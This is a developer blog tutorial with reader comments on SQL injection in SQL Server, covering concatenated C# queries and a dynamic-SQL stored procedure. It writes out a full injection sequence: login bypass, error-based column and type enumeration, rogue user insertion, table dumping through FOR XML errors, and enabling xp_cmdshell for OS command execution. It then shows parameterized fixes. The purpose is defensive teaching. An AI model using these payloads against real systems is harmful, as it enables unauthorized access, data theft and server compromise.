SQL Server SQL Injection from start to end
SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage.
A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text.
SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences.
The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user.
Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability.
1) Concatenating SQL statements on the client by hand
2) Using parameterized stored procedures but passing in parts of SQL statements
As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem.
Concatenating SQL statements on the client
This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL.
In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens.
/* SQL CODE */
/* Users table holds usernames and passwords and is the object of out hacking attempt */
CREATE TABLE Users
(
UserId INT IDENTITY(1, 1) PRIMARY KEY ,
UserName VARCHAR(50) ,
UserPassword NVARCHAR(10)
)
/* Insert 2 users */
INSERT INTO Users(UserName, UserPassword)
SELECT 'User 1', 'MyPwd' UNION ALL
SELECT 'User 2', 'BlaBla'
Vulnerable C# code, followed by a progressive SQL injection attack.
/* .NET C# CODE */
/*
This method checks if a user exists.
It uses SQL concatination on the client,
which is susceptible to SQL injection attacks
*/
private bool DoesUserExist(string username, string password)
{
using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;"))
{
/*
This is the SQL string you usually see with
novice developers. It returns a row if a
user exists and no rows if it doesn't
*/
string sql = "SELECT * FROM Users WHERE UserName = '" + username +
"' AND UserPassword = '" + password + "'";
SqlCommand cmd = conn.CreateCommand();
cmd.CommandText = sql;
cmd.CommandType = CommandType.Text;
cmd.Connection.Open();
DataSet dsResult = new DataSet();
/*
If a user doesn't exist the cmd.ExecuteScalar()
returns null; this is just to simplify the
example; you can use other Execute methods too
*/
string userExists = (cmd.ExecuteScalar() ?? "0").ToString();
return userExists != "0";
}
}
}
/*
The SQL injection attack example.
Username inputs should be run one after
the other, to demonstrate the attack pattern.
*/
string username = "User 1";
string password = "MyPwd";
// See if we can even use SQL injection.
// By simply using this we can log into the application
username = "' OR 1=1 --";
// What follows is a step-by-step guessing game designed
// to find out column names used in the query, via the
// error messages. By using GROUP BY we will get
// the column names one by one.
// First try the Id
username = "' GROUP BY Id HAVING 1=1--";
// We get the SQL error: Invalid column name 'Id'.
// From that we know that there's no column named Id.
// Next up is UserID
username = "' GROUP BY Users.UserId HAVING 1=1--";
// AHA! here we get the error: Column 'Users.UserName' is
// invalid in the SELECT list because it is not contained
// in either an aggregate function or the GROUP BY clause.
// We have guessed correctly that there is a column called
// UserId and the error message has kindly informed us of
// a table called Users with a column called UserName
// Now we add UserName to our GROUP BY
username = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";
// We get the same error as before but with a new column
// name, Users.UserPassword
// Repeat this pattern till we have all column names that
// are being return by the query.
// Now we have to get the column data types. One non-string
// data type is all we need to wreck havoc
// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.
// This can be done because we know the number of columns the query returns FROM our previous hacks.
// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.
username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";
// SUM() errors out for UserName and UserPassword columns giving us their data types:
// Error: Operand data type varchar is invalid for SUM operator.
username = "' UNION SELECT SUM(Users.UserName) FROM Users--";
// Error: Operand data type nvarchar is invalid for SUM operator.
username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";
// Because we know the Users table structure we can insert our data into it
username = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";
// Next let's get the actual data FROM the tables.
// There are 2 ways you can do this.
// The first is by using MIN on the varchar UserName column and
// getting the data from error messages one by one like this:
username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";
username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";
// we can repeat this method until we get all data one by one
// The second method gives us all data at once and we can use it as soon as we find a non string column
username = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";
// The error we get is:
// Conversion failed when converting the nvarchar value
// '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>
// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>
// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>'
// to data type int.
// We can see that the returned XML contains all table data including our injected user account.
// By using the XML trick we can get any database or server info we wish as long as we have access
// Some examples:
// Get info for all databases
username = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";
// Get info for all tables in master database
username = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";
// If that's not enough here's a way the attacker can gain shell access to your underlying windows server
// This can be done by enabling and using the xp_cmdshell stored procedure
// Enable xp_cmdshell
username = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";
// Create a table to store the values returned by xp_cmdshell
username = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";
// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table
username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";
// return the data via an error message
username = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";
// delete the table to get clean output (this step is optional)
username = "'; DELETE ShellHack; --";
// repeat the upper 3 statements to do other nasty stuff to the windows server
// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error
// To avoid this chunk up the returned XML using paging techniques.
// the username and password params come from the GUI textboxes.
bool userExists = DoesUserExist(username, password );
Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example.
/*
The fixed C# method that doesn't suffer from SQL injection
because it uses parameters.
*/
private bool DoesUserExist(string username, string password)
{
using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;"))
{
//This is the version of the SQL string that should be safe from SQL injection
string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password";
SqlCommand cmd = conn.CreateCommand();
cmd.CommandText = sql;
cmd.CommandType = CommandType.Text;
// adding 2 SQL Parameters solves the SQL injection issue completely
SqlParameter usernameParameter = new SqlParameter();
usernameParameter.ParameterName = "@username";
usernameParameter.DbType = DbType.String;
usernameParameter.Value = username;
cmd.Parameters.Add(usernameParameter);
SqlParameter passwordParameter = new SqlParameter();
passwordParameter.ParameterName = "@password";
passwordParameter.DbType = DbType.String;
passwordParameter.Value = password;
cmd.Parameters.Add(passwordParameter);
cmd.Connection.Open();
DataSet dsResult = new DataSet();
/*
If a user doesn't exist the cmd.ExecuteScalar()
returns null; this is just to simplify the
example; you can use other Execute methods too
*/
string userExists = (cmd.ExecuteScalar() ?? "0").ToString();
return userExists == "1";
}
}
We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place.
Your business is only as valuable as your data. If you lose your data, you lose your business. Period.
Incorrect parameterization in stored procedures
It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else.
This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup.
/*
Create a single master access stored procedure
*/
CREATE PROCEDURE spSingleAccessSproc
(
@select NVARCHAR(500) = '' ,
@tableName NVARCHAR(500) = '' ,
@where NVARCHAR(500) = '1=1' ,
@orderBy NVARCHAR(500) = '1'
)
AS
EXEC('SELECT ' + @select +
' FROM ' + @tableName +
' WHERE ' + @where +
' ORDER BY ' + @orderBy)
GO
/*
Valid use as anticipated by a novice developer
*/
EXEC spSingleAccessSproc @select = '*',
@tableName = 'Users',
@where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''',
@orderBy = 'UserID'
/*
Malicious use SQL injection
The SQL injection principles are the same as
with SQL string concatenation I described earlier,
so I won't repeat them again here.
*/
EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --',
@tableName = '--Users',
@where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''',
@orderBy = '--UserID'
One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one.
Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.
Legacy Comments
|
enriquein
2011-02-16 |
re: SQL Server SQL Injection from start to end I think it's great that this topic keeps coming up in blog posts. Where I work there's a frightening amount of novice and seasoned developers that have been guilty of writing vulnerable code and deploying it to production. Most of our code goes to intranet websites, so maybe the risk is a lot lower, but we do have public facing websites that were coded by the same group of people. And don't even get me started with the "brilliant" idea of having the sprocs do all the concatenating for "security and improved performance". I really wish my coworkers would take at least 10 minutes off their TV-watching time and read a blog post a day to get with the times. Kudos for a great post. |
|
Theah
2011-03-24 |
re: SQL Server SQL Injection from start to end I agree with enriguein, this doesn't come up enough. Too many times have I seen your stored procedure example with EXEC statements like that, haha. I also didn't think that attackers could use binary / encoded text, interesting... Thanks for the post! |